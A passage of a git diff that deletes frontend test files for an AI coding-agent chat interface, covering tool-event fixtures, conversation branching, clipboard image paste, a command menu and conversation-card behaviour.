button for the result", () => { - renderVisualizer( - , - ); - expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/chat/tool-visualizers/test-utils.tsx b/__tests__/components/features/chat/tool-visualizers/test-utils.tsx deleted file mode 100644 index f6be38ff0..000000000 --- a/__tests__/components/features/chat/tool-visualizers/test-utils.tsx +++ /dev/null @@ -1,217 +0,0 @@ -import React from "react"; -import { renderWithProviders } from "test-utils"; -import { - ActionEvent, - ObservationEvent, - SecurityRisk, -} from "#/types/agent-server/core"; -import { - ExecuteBashAction, - FileEditorAction, - GrepAction, - TaskAction, -} from "#/types/agent-server/core/base/action"; -import { - ExecuteBashObservation, - FileEditorObservation, - GrepObservation, - GlobObservation, - TerminalObservation, - TaskObservation, -} from "#/types/agent-server/core/base/observation"; - -/** Renders a visualizer body with the standard chat providers. */ -export const renderVisualizer = (ui: React.ReactElement) => - renderWithProviders(ui); - -const actionEnvelope = (id: string, toolName: string) => ({ - id, - timestamp: "2024-01-01T00:00:00Z", - source: "agent" as const, - thought: [], - thinking_blocks: [], - tool_name: toolName, - tool_call_id: `call_${id}`, - tool_call: { - id: `call_${id}`, - type: "function" as const, - function: { name: toolName, arguments: "{}" }, - }, - llm_response_id: `resp_${id}`, - security_risk: SecurityRisk.LOW, -}); - -const observationEnvelope = (id: string, toolName: string) => ({ - id, - timestamp: "2024-01-01T00:00:00Z", - source: "environment" as const, - tool_name: toolName, - tool_call_id: `call_${id}`, - action_id: `action_${id}`, -}); - -export const bashAction = ( - command: string, - risk: SecurityRisk = SecurityRisk.LOW, -): ActionEvent => ({ - ...actionEnvelope("bash", "execute_bash"), - security_risk: risk, - action: { - kind: "ExecuteBashAction", - command, - is_input: false, - timeout: null, - reset: false, - }, -}); - -export const bashObservation = ( - output: string, - exitCode: number | null, - command = "echo hi", -): ObservationEvent => ({ - ...observationEnvelope("bash", "execute_bash"), - observation: { - kind: "ExecuteBashObservation", - content: [{ type: "text", text: output }], - command, - exit_code: exitCode, - error: exitCode !== 0, - timeout: false, - metadata: { - exit_code: exitCode ?? 0, - pid: 1, - username: "openhands", - hostname: "runtime", - prefix: "", - suffix: "", - working_dir: "/workspace", - py_interpreter_path: null, - }, - }, -}); - -export const terminalObservation = ( - output: string, - exitCode: number | null, - command = "ls", -): ObservationEvent => ({ - ...observationEnvelope("terminal", "terminal"), - observation: { - kind: "TerminalObservation", - content: [{ type: "text", text: output }], - command, - exit_code: exitCode, - is_error: exitCode !== 0, - timeout: false, - metadata: { - exit_code: exitCode ?? 0, - pid: 1, - username: "openhands", - hostname: "runtime", - prefix: "", - suffix: "", - working_dir: "/workspace", - py_interpreter_path: null, - }, - }, -}); - -export const fileEditorAction = ( - action: Partial & - Pick, -): ActionEvent => ({ - ...actionEnvelope("fe", "file_editor"), - action: { - kind: "FileEditorAction", - file_text: null, - old_str: null, - new_str: null, - insert_line: null, - view_range: null, - ...action, - }, -}); - -export const fileEditorObservation = ( - observation: Partial & - Pick, -): ObservationEvent => ({ - ...observationEnvelope("fe", "file_editor"), - observation: { - kind: "FileEditorObservation", - output: "", - path: "/workspace/app.ts", - prev_exist: true, - old_content: null, - new_content: null, - error: null, - ...observation, - }, -}); - -export const grepAction = ( - action: Partial & Pick, -): ActionEvent => ({ - ...actionEnvelope("grep", "grep"), - action: { kind: "GrepAction", path: null, include: null, ...action }, -}); - -export const grepObservation = ( - observation: Partial & Pick, -): ObservationEvent => ({ - ...observationEnvelope("grep", "grep"), - observation: { - kind: "GrepObservation", - content: [], - is_error: false, - matches: [], - search_path: "/workspace", - include_pattern: null, - truncated: false, - ...observation, - }, -}); - -export const globObservation = ( - observation: Partial & Pick, -): ObservationEvent => ({ - ...observationEnvelope("glob", "glob"), - observation: { - kind: "GlobObservation", - content: [], - is_error: false, - files: [], - search_path: "/workspace", - truncated: false, - ...observation, - }, -}); - -export const taskAction = ( - action: Partial & Pick, -): ActionEvent => ({ - ...actionEnvelope("task", "task"), - action: { - kind: "TaskAction", - subagent_type: "code-explorer", - description: null, - resume: null, - ...action, - }, -}); - -export const taskObservation = ( - observation: Partial = {}, -): ObservationEvent => ({ - ...observationEnvelope("task", "task"), - observation: { - kind: "TaskObservation", - content: [{ type: "text", text: "## Summary\n\nAll done." }], - is_error: false, - task_id: "task_00000001", - subagent: "code-explorer", - status: "completed", - ...observation, - }, -}); diff --git a/__tests__/components/features/chat/user-assistant-event-message.test.tsx b/__tests__/components/features/chat/user-assistant-event-message.test.tsx deleted file mode 100644 index 06412cda0..000000000 --- a/__tests__/components/features/chat/user-assistant-event-message.test.tsx +++ /dev/null @@ -1,269 +0,0 @@ -import { fireEvent, screen, waitFor } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderWithProviders } from "test-utils"; -import type { MessageEvent } from "#/types/agent-server/core"; -import { I18nKey } from "#/i18n/declaration"; -import { UserAssistantEventMessage } from "#/components/conversation-events/chat/event-message-components/user-assistant-event-message"; -import { useConversationStore } from "#/stores/conversation-store"; -import ConversationService from "#/api/conversation-service/conversation-service.api"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import type { DirectConversationInfo } from "#/api/agent-server-adapter"; - -const { - useActiveBackendMock, - useOptionalConversationIdMock, - setMessageToSendMock, - navigateMock, -} = vi.hoisted(() => ({ - useActiveBackendMock: vi.fn(), - useOptionalConversationIdMock: vi.fn(), - setMessageToSendMock: vi.fn(), - navigateMock: vi.fn(), -})); - -// These provide test context (backend kind, conversation id, navigation); the -// fork behaviour is exercised through the real hook against a mocked service -// (per the repo convention: mock the service, not the hook). -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => useOptionalConversationIdMock(), -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -vi.mock("#/context/navigation-context", async (importActual) => ({ - ...(await importActual()), - useNavigation: () => ({ navigate: navigateMock }), -})); - -// test-utils re-inits i18n with empty resources, so `t()` returns the key — -// which becomes the button's accessible name (aria-label). -const BRANCH_LABEL = I18nKey.CHAT_INTERFACE$BRANCH_FROM_HERE; -const forkResult = { id: "fork-123" } as DirectConversationInfo; - -let forkSpy: ReturnType; -let parentSpy: ReturnType; - -const makeEvent = (source: "user" | "agent", id: string): MessageEvent => - ({ - id, - source, - timestamp: "2024-01-01T00:00:00.000Z", - llm_message: { - role: source === "user" ? "user" : "assistant", - content: [{ type: "text", text: "Hello world" }], - }, - critic_result: null, - }) as unknown as MessageEvent; - -// A user message with only an image (no text) — parses to an empty string. -const makeImageOnlyEvent = (id: string): MessageEvent => - ({ - id, - source: "user", - timestamp: "2024-01-01T00:00:00.000Z", - llm_message: { - role: "user", - content: [{ type: "image", image_urls: ["data:image/png;base64,AAAA"] }], - }, - critic_result: null, - }) as unknown as MessageEvent; - -const renderMessage = (event: MessageEvent) => - renderWithProviders( - , - ); - -describe("UserAssistantEventMessage — branch action", () => { - beforeEach(() => { - vi.restoreAllMocks(); - useActiveBackendMock.mockReset(); - useOptionalConversationIdMock.mockReset(); - setMessageToSendMock.mockReset(); - navigateMock.mockReset(); - - useActiveBackendMock.mockReturnValue({ - backend: { kind: "local" }, - orgId: null, - }); - useOptionalConversationIdMock.mockReturnValue({ conversationId: "conv-1" }); - - useConversationStore.setState({ setMessageToSend: setMessageToSendMock }); - ConversationService.setCurrentConversation(null); - - forkSpy = vi - .spyOn(AgentServerConversationService, "forkConversation") - // Modern backend (>= 1.31.0): the fork's HEAD (leaf_event_id) is exactly - // the requested branch point, confirming the message was excluded. - .mockImplementation((_source, fromEventId) => - Promise.resolve({ - ...forkResult, - leaf_event_id: fromEventId, - } as unknown as DirectConversationInfo), - ); - // Default: the message has a parent (the common case), so edit-mode - // branches before it. - parentSpy = vi - .spyOn(AgentServerConversationService, "getEventParentId") - .mockResolvedValue("evt-parent"); - }); - - it("branches an assistant message inclusively, without a parent lookup or prefill", async () => { - renderMessage(makeEvent("agent", "evt-agent")); - - // Actions only appear on hover. - fireEvent.mouseEnter(screen.getByTestId("agent-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - await waitFor(() => - expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"), - ); - expect(parentSpy).not.toHaveBeenCalled(); - expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-agent", undefined); - expect(setMessageToSendMock).not.toHaveBeenCalled(); - }); - - it("edits a user message: branches at its parent and loads its text into the composer", async () => { - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - await waitFor(() => - expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-parent", undefined), - ); - expect(parentSpy).toHaveBeenCalledWith("conv-1", "evt-user"); - expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"); - await waitFor(() => - expect(setMessageToSendMock).toHaveBeenCalledWith( - expect.stringContaining("Hello world"), - ), - ); - }); - - it("does not prefill the composer when the message has no parent (inclusive fallback)", async () => { - parentSpy.mockResolvedValue(undefined); - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - await waitFor(() => - expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-user", undefined), - ); - expect(setMessageToSendMock).not.toHaveBeenCalled(); - }); - - it("titles the fork distinctly from its source conversation", async () => { - ConversationService.setCurrentConversation({ - id: "conv-1", - title: "Trip planning", - } as AppConversation); - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - await waitFor(() => - expect(forkSpy).toHaveBeenCalledWith( - "conv-1", - "evt-parent", - "Trip planning (branch)", - ), - ); - }); - - it("does not prefill when the backend ignored from_event_id (older agent-server)", async () => { - // leaf_event_id != requested branch point => the message was NOT excluded - // (the fork copied the whole conversation), so prefilling would duplicate. - forkSpy.mockImplementation(() => - Promise.resolve({ - ...forkResult, - leaf_event_id: "some-other-leaf", - } as unknown as DirectConversationInfo), - ); - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - await waitFor(() => - expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"), - ); - expect(setMessageToSendMock).not.toHaveBeenCalled(); - }); - - it("branches an image-only user message inclusively (keeps the image, no prefill)", async () => { - renderMessage(makeImageOnlyEvent("evt-img")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - // No text to edit → branch at the message (inclusive), no parent lookup, - // no prefill, so the image is not dropped. - await waitFor(() => - expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-img", undefined), - ); - expect(parentSpy).not.toHaveBeenCalled(); - expect(setMessageToSendMock).not.toHaveBeenCalled(); - }); - - it("omits the fork title when the tracked conversation is a different one", async () => { - // Stale/other conversation in the shared singleton — must not be used. - ConversationService.setCurrentConversation({ - id: "other-conv", - title: "Stale title", - } as AppConversation); - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL })); - - await waitFor(() => - expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-parent", undefined), - ); - }); - - it("ignores a second click while a fork is already in flight", async () => { - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - const button = screen.getByRole("button", { name: BRANCH_LABEL }); - fireEvent.click(button); - fireEvent.click(button); - - await waitFor(() => expect(forkSpy).toHaveBeenCalled()); - expect(forkSpy).toHaveBeenCalledTimes(1); - }); - - it("hides the branch action on the cloud backend", () => { - useActiveBackendMock.mockReturnValue({ - backend: { kind: "cloud" }, - orgId: null, - }); - - renderMessage(makeEvent("user", "evt-user")); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - expect( - screen.queryByRole("button", { name: BRANCH_LABEL }), - ).not.toBeInTheDocument(); - }); - - it("hides the branch action outside of a conversation", () => { - useOptionalConversationIdMock.mockReturnValue({ conversationId: undefined }); - - renderMessage(makeEvent("agent", "evt-agent")); - - fireEvent.mouseEnter(screen.getByTestId("agent-message")); - expect( - screen.queryByRole("button", { name: BRANCH_LABEL }), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/chat/utils/chat-input.utils.test.ts b/__tests__/components/features/chat/utils/chat-input.utils.test.ts deleted file mode 100644 index fc102cfb8..000000000 --- a/__tests__/components/features/chat/utils/chat-input.utils.test.ts +++ /dev/null @@ -1,107 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - getClipboardFiles, - isPastedClipboardImage, - normalizePastedFile, - partitionImagesForUpload, -} from "#/components/features/chat/utils/chat-input.utils"; - -function createFileList(files: File[]): FileList { - const list = { - length: files.length, - item: (index: number) => files[index] ?? null, - } as FileList & Record; - for (let i = 0; i < files.length; i += 1) { - list[i] = files[i]; - } - return list; -} - -function createMockDataTransfer({ - files = [], - items = [], -}: { - files?: File[]; - items?: Array<{ kind: string; type: string; file: File | null }>; -}): DataTransfer { - const fileItems = items.map((entry) => ({ - kind: entry.kind, - type: entry.type, - getAsFile: () => entry.file, - })); - - return { - files: createFileList(files), - items: fileItems as unknown as DataTransferItemList, - getData: () => "", - } as unknown as DataTransfer; -} - -describe("normalizePastedFile", () => { - it("returns the file unchanged when it already has a name", () => { - const file = new File(["x"], "photo.png", { type: "image/png" }); - expect(normalizePastedFile(file)).toBe(file); - }); - - it("assigns a generated name for unnamed clipboard images", () => { - const file = new File(["x"], "", { type: "image/png" }); - const normalized = normalizePastedFile(file); - expect(normalized.name).toMatch(/^pasted-image-\d+\.png$/); - expect(normalized.type).toBe("image/png"); - }); -}); - -describe("isPastedClipboardImage", () => { - it("returns true for normalized clipboard screenshot names", () => { - const file = new File(["x"], "pasted-image-1710000000000.png", { - type: "image/png", - }); - expect(isPastedClipboardImage(file)).toBe(true); - }); - - it("returns false for images picked from the file dialog", () => { - const file = new File(["x"], "photo.png", { type: "image/png" }); - expect(isPastedClipboardImage(file)).toBe(false); - }); -}); - -describe("partitionImagesForUpload", () => { - it("splits marked images into the file-upload bucket", () => { - const embed = new File(["a"], "embed.png", { type: "image/png" }); - const upload = new File(["b"], "upload.png", { type: "image/png" }); - - const result = partitionImagesForUpload([embed, upload], ["upload.png"]); - - expect(result.imagesToEmbed).toEqual([embed]); - expect(result.imagesAsFiles).toEqual([upload]); - }); -}); - -describe("getClipboardFiles", () => { - it("reads from clipboardData.files when present", () => { - const file = new File(["x"], "doc.txt", { type: "text/plain" }); - const clipboard = createMockDataTransfer({ files: [file] }); - - expect(getClipboardFiles(clipboard)).toEqual([file]); - }); - - it("falls back to clipboard items for screenshot-style image paste", () => { - const image = new File(["pixels"], "", { type: "image/png" }); - const clipboard = createMockDataTransfer({ - items: [{ kind: "file", type: "image/png", file: image }], - }); - - const result = getClipboardFiles(clipboard); - expect(result).toHaveLength(1); - expect(result[0].type).toBe("image/png"); - expect(result[0].name).toMatch(/^pasted-image-\d+\.png$/); - }); - - it("ignores non-file clipboard items", () => { - const clipboard = createMockDataTransfer({ - items: [{ kind: "string", type: "text/plain", file: null }], - }); - - expect(getClipboardFiles(clipboard)).toEqual([]); - }); -}); diff --git a/__tests__/components/features/chat/workspace-mode-selector.test.tsx b/__tests__/components/features/chat/workspace-mode-selector.test.tsx deleted file mode 100644 index a32bc90a6..000000000 --- a/__tests__/components/features/chat/workspace-mode-selector.test.tsx +++ /dev/null @@ -1,24 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { WorkspaceModeSelector } from "#/components/features/chat/workspace-mode-selector"; - -describe("WorkspaceModeSelector", () => { - it("opens the menu and calls onChange when an option is selected", () => { - const onChange = vi.fn(); - render( - , - ); - - // Open the menu (trigger renders the active mode via WorkspaceModeIcon). - fireEvent.click(screen.getByTestId("workspace-mode-selector")); - fireEvent.click( - screen.getByTestId("workspace-mode-selector-option-new_worktree"), - ); - - expect(onChange).toHaveBeenCalledWith("new_worktree"); - }); -}); diff --git a/__tests__/components/features/command-menu/command-menu.test.tsx b/__tests__/components/features/command-menu/command-menu.test.tsx deleted file mode 100644 index 07bdd35c6..000000000 --- a/__tests__/components/features/command-menu/command-menu.test.tsx +++ /dev/null @@ -1,137 +0,0 @@ -import { fireEvent, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, beforeEach, vi } from "vitest"; -import { - CommandMenu, - CommandMenuTrigger, -} from "#/components/features/command-menu"; -import { COMMAND_MENU_ROUTE } from "#/components/features/command-menu/command-menu-items"; -import { useCommandMenuStore } from "#/stores/command-menu-store"; -import { useSidebarStore } from "#/stores/sidebar-store"; -import { renderWithProviders } from "../../../../test-utils"; - -const OPEN_LABEL_KEY = "COMMAND_MENU$OPEN_LABEL"; -const SEARCH_LABEL_KEY = "COMMAND_MENU$SEARCH_LABEL"; -const AUTOMATIONS_TITLE_KEY = "COMMAND_MENU$AUTOMATIONS_TITLE"; -const NEW_CHAT_TITLE_KEY = "COMMAND_MENU$NEW_CHAT_TITLE"; -const SECRETS_TITLE_KEY = "COMMAND_MENU$SECRETS_SETTINGS_TITLE"; -const TOGGLE_SIDEBAR_TITLE_KEY = "COMMAND_MENU$TOGGLE_SIDEBAR_TITLE"; - -const navigateMock = vi.fn(); - -function renderCommandMenu(navigate = navigateMock) { - const view = renderWithProviders(, { - navigation: { navigate }, - }); - - return { ...view, navigate }; -} - -beforeEach(() => { - navigateMock.mockReset(); - window.localStorage.clear(); - useCommandMenuStore.setState({ isOpen: false }); - useSidebarStore.setState({ collapsed: false }); -}); - -describe("CommandMenu", () => { - it("opens from the global command-k shortcut and closes with escape", async () => { - renderCommandMenu(); - - fireEvent.keyDown(window, { key: "k", metaKey: true }); - - const searchInput = await screen.findByRole("combobox", { - name: SEARCH_LABEL_KEY, - }); - await waitFor(() => expect(searchInput).toHaveFocus()); - expect(screen.getByTestId("command-menu")).toBeInTheDocument(); - - await userEvent.keyboard("{Escape}"); - - await waitFor(() => { - expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument(); - }); - }); - - it("opens from the global ctrl-k shortcut", async () => { - renderCommandMenu(); - - fireEvent.keyDown(window, { key: "k", ctrlKey: true }); - - const searchInput = await screen.findByRole("combobox", { - name: SEARCH_LABEL_KEY, - }); - await waitFor(() => expect(searchInput).toHaveFocus()); - }); - - it("filters commands by page and setting keywords", async () => { - useCommandMenuStore.getState().open(); - renderCommandMenu(); - - await userEvent.type( - screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }), - "secrets", - ); - - expect(screen.getByText(SECRETS_TITLE_KEY)).toBeInTheDocument(); - expect(screen.queryByText(NEW_CHAT_TITLE_KEY)).not.toBeInTheDocument(); - }); - - it("navigates to the selected command and closes the menu", async () => { - useCommandMenuStore.getState().open(); - const { navigate } = renderCommandMenu(); - - await userEvent.click(screen.getByText(AUTOMATIONS_TITLE_KEY)); - - expect(navigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.automations); - await waitFor(() => { - expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument(); - }); - }); - - it("supports arrow-key navigation and enter selection", async () => { - useCommandMenuStore.getState().open(); - const { navigate } = renderCommandMenu(); - const searchInput = screen.getByRole("combobox", { - name: SEARCH_LABEL_KEY, - }); - - await userEvent.type(searchInput, "settings"); - await userEvent.keyboard("{ArrowDown}{ArrowUp}{Enter}"); - - expect(navigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.settings); - await waitFor(() => { - expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument(); - }); - }); - - it("runs local actions from the menu", async () => { - useCommandMenuStore.getState().open(); - renderCommandMenu(); - - await userEvent.type( - screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }), - "toggle", - ); - await userEvent.click(screen.getByText(TOGGLE_SIDEBAR_TITLE_KEY)); - - expect(useSidebarStore.getState().collapsed).toBe(true); - }); -}); - -describe("CommandMenuTrigger", () => { - it("opens the command menu from the sidebar trigger", async () => { - renderWithProviders( - <> - - - , - ); - - await userEvent.click(screen.getByRole("button", { name: OPEN_LABEL_KEY })); - - expect( - await screen.findByRole("combobox", { name: SEARCH_LABEL_KEY }), - ).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx b/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx deleted file mode 100644 index bcd148c8e..000000000 --- a/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx +++ /dev/null @@ -1,62 +0,0 @@ -import React from "react"; -import { describe, it, expect, vi } from "vitest"; -import { screen } from "@testing-library/react"; -import { renderWithProviders } from "test-utils"; -import { ConfirmDeleteModal } from "#/components/features/conversation-panel/confirm-delete-modal"; - -vi.mock("react-i18next", async (importOriginal) => ({ - ...(await importOriginal()), - Trans: ({ - values, - components, - }: { - values: { title: string }; - components: { title: React.ReactElement }; - }) => React.cloneElement(components.title, {}, values.title), -})); - -describe("ConfirmDeleteModal", () => { - it("should display the conversation title", () => { - renderWithProviders( - , - ); - - expect(screen.getByText(/My Test Conversation/)).toBeInTheDocument(); - }); - - it("falls back to the default warning when description is null", () => { - renderWithProviders( - , - ); - - expect( - screen.getByText("CONVERSATION$DELETE_WARNING"), - ).toBeInTheDocument(); - }); - - it("places Cancel before Confirm in the footer so the dominant action is the last focusable button", () => { - // Arrange: render the modal so both footer buttons are mounted. - renderWithProviders( - , - ); - - // Act: locate both footer buttons. - const cancel = screen.getByText("BUTTON$CANCEL"); - const confirm = screen.getByText("ACTION$CONFIRM_DELETE"); - - // Assert: Cancel precedes the dominant Confirm action in DOM order. - // eslint-disable-next-line no-bitwise - expect( - cancel.compareDocumentPosition(confirm) & - Node.DOCUMENT_POSITION_FOLLOWING, - ).toBeTruthy(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/conversation-card.test.tsx b/__tests__/components/features/conversation-panel/conversation-card.test.tsx deleted file mode 100644 index 5d3ccef44..000000000 --- a/__tests__/components/features/conversation-panel/conversation-card.test.tsx +++ /dev/null @@ -1,960 +0,0 @@ -import { screen, within } from "@testing-library/react"; -import { - afterAll, - afterEach, - beforeAll, - describe, - expect, - it, - test, - vi, -} from "vitest"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import { formatTimeDelta } from "#/utils/format-time-delta"; -import { ConversationCard } from "#/components/features/conversation-panel/conversation-card/conversation-card"; -import { MAX_VISIBLE_TAG_CHIPS } from "#/components/features/conversation-panel/conversation-card/conversation-card-footer"; -import { clickOnEditButton } from "./utils"; -import { ConversationCardActions } from "#/components/features/conversation-panel/conversation-card/conversation-card-actions"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; - -// We'll use the actual i18next implementation but override the translation function - -// Mock the t function to return our custom translations -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - CONVERSATION$CREATED: "Created", - CONVERSATION$AGO: "ago", - CONVERSATION$UPDATED: "Updated", - COMMON$NO_REPOSITORY: "No repository", - CONVERSATION$ACP_AGENT_GENERIC: "ACP", - CONVERSATION_PANEL$PIN_CONVERSATION: "Pin conversation", - CONVERSATION_PANEL$UNPIN_CONVERSATION: "Unpin conversation", - }; - return translations[key] || key; - }, - i18n: { - changeLanguage: () => new Promise(() => {}), - }, - }), - }; -}); - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackDownloadVsCodeButtonClicked: vi.fn(), - }), -})); - -describe("ConversationCard", () => { - const onClick = vi.fn(); - const onDelete = vi.fn(); - const onChangeTitle = vi.fn(); - - beforeAll(() => { - vi.stubGlobal("window", { - open: vi.fn(), - addEventListener: vi.fn(), - removeEventListener: vi.fn(), - location: { origin: "http://localhost:3000" }, - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - afterAll(() => { - vi.unstubAllGlobals(); - }); - - it("should render the conversation card", () => { - renderWithProviders( - , - ); - - const card = screen.getByTestId("conversation-card"); - - within(card).getByText("Conversation 1"); - - // Use a regex to match the time part since it might have whitespace - const timeRegex = new RegExp( - formatTimeDelta(new Date("2021-10-01T12:00:00Z")), - ); - expect(card).toHaveTextContent(timeRegex); - }); - - it("should render the selectedRepository if available", () => { - const { rerender } = renderWithProviders( - , - ); - - expect( - screen.queryByTestId("conversation-card-selected-repository"), - ).not.toBeInTheDocument(); - - rerender( - , - ); - - screen.getByTestId("conversation-card-selected-repository"); - }); - - it("renders the workspace folder name when no repository is selected", () => { - renderWithProviders( - , - ); - - expect(screen.getByText("agent-canvas")).toBeInTheDocument(); - expect( - screen.getByTitle("/workspace/project/agent-canvas"), - ).toBeInTheDocument(); - }); - - it("handles Windows workspace paths and falls back when the path is empty", () => { - const { rerender } = renderWithProviders( - , - ); - - expect(screen.getByText("repo")).toBeInTheDocument(); - - rerender( - , - ); - - expect(screen.getByText("No repository")).toBeInTheDocument(); - }); - - it("should toggle a context menu when clicking the ellipsis button", async () => { - const user = userEvent.setup(); - const onContextMenuToggle = vi.fn(); - const { rerender } = renderWithProviders( - , - ); - - // The closed state is observable via the `data-context-menu-open` attr - // on the conversation-card root; visual hiding is a CSS consequence. - expect(screen.getByTestId("conversation-card")).toHaveAttribute( - "data-context-menu-open", - "false", - ); - - const ellipsisButton = screen.getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - expect(onContextMenuToggle).toHaveBeenCalledWith(true); - - // Simulate context menu being opened by parent - rerender( - , - ); - - screen.getByTestId("context-menu"); - - await user.click(ellipsisButton); - - expect(onContextMenuToggle).toHaveBeenCalledWith(false); - }); - - it("should call onDelete when the delete button is clicked", async () => { - const user = userEvent.setup(); - const onContextMenuToggle = vi.fn(); - renderWithProviders( - , - ); - - const menu = screen.getByTestId("context-menu"); - const deleteButton = within(menu).getByTestId("delete-button"); - - await user.click(deleteButton); - - expect(onDelete).toHaveBeenCalled(); - expect(onContextMenuToggle).toHaveBeenCalledWith(false); - }); - - test("clicking the selectedRepository should not trigger the onClick handler", async () => { - const user = userEvent.setup(); - renderWithProviders( - , - ); - - const selectedRepository = screen.getByTestId( - "conversation-card-selected-repository", - ); - await user.click(selectedRepository); - - expect(onClick).not.toHaveBeenCalled(); - }); - - test("conversation title should call onChangeTitle when changed and blurred", async () => { - const user = userEvent.setup(); - let menuOpen = true; - const onContextMenuToggle = vi.fn((isOpen: boolean) => { - menuOpen = isOpen; - }); - const { rerender } = renderWithProviders( - , - ); - - await clickOnEditButton(user); - - // Re-render with updated state - rerender( - , - ); - - const title = screen.getByTestId("conversation-card-title"); - - expect(title).toBeEnabled(); - // Context menu should be closed after edit button is clicked. - expect(screen.getByTestId("conversation-card")).toHaveAttribute( - "data-context-menu-open", - "false", - ); - // expect to be focused - expect(document.activeElement).toBe(title); - - await user.clear(title); - await user.type(title, "New Conversation Name "); - await user.tab(); - - expect(onChangeTitle).toHaveBeenCalledWith("New Conversation Name"); - }); - - it("should not call onChange title", async () => { - const user = userEvent.setup(); - const onContextMenuToggle = vi.fn(); - renderWithProviders( - , - ); - - await clickOnEditButton(user); - - const title = screen.getByTestId("conversation-card-title"); - - await user.clear(title); - await user.tab(); - - expect(onChangeTitle).not.toBeCalled(); - }); - - test("clicking the title should trigger the onClick handler", async () => { - const user = userEvent.setup(); - renderWithProviders( - , - ); - - const title = screen.getByTestId("conversation-card-title"); - await user.click(title); - - expect(onClick).toHaveBeenCalled(); - }); - - test("clicking the title should not trigger the onClick handler if edit mode", async () => { - const user = userEvent.setup(); - const onContextMenuToggle = vi.fn(); - renderWithProviders( - , - ); - - await clickOnEditButton(user); - - const title = screen.getByTestId("conversation-card-title"); - await user.click(title); - - expect(onClick).not.toHaveBeenCalled(); - }); - - test("clicking the delete button should not trigger the onClick handler", async () => { - const user = userEvent.setup(); - const onContextMenuToggle = vi.fn(); - renderWithProviders( - , - ); - - const menu = screen.getByTestId("context-menu"); - const deleteButton = within(menu).getByTestId("delete-button"); - - await user.click(deleteButton); - - expect(onClick).not.toHaveBeenCalled(); - }); - - it("should not display the edit or delete options if the handler is not provided", async () => { - const onContextMenuToggle = vi.fn(); - const { rerender } = renderWithProviders( - , - ); - - const menu = await screen.findByTestId("context-menu"); - expect(within(menu).queryByTestId("edit-button")).toBeInTheDocument(); - expect(within(menu).queryByTestId("delete-button")).not.toBeInTheDocument(); - - rerender( - , - ); - - const newMenu = await screen.findByTestId("context-menu"); - expect( - within(newMenu).queryByTestId("edit-button"), - ).not.toBeInTheDocument(); - expect(within(newMenu).queryByTestId("delete-button")).toBeInTheDocument(); - }); - - it("should not render the ellipsis button if there are no actions", () => { - const { rerender } = renderWithProviders( - , - ); - - expect(screen.getByTestId("ellipsis-button")).toBeInTheDocument(); - - rerender( - , - ); - - expect(screen.getByTestId("ellipsis-button")).toBeInTheDocument(); - - rerender( - , - ); - - expect(screen.queryByTestId("ellipsis-button")).not.toBeInTheDocument(); - }); - - it("renders the status dot in the header when executionStatus is provided", () => { - renderWithProviders( - , - ); - - expect( - screen.getByTestId("conversation-status-working"), - 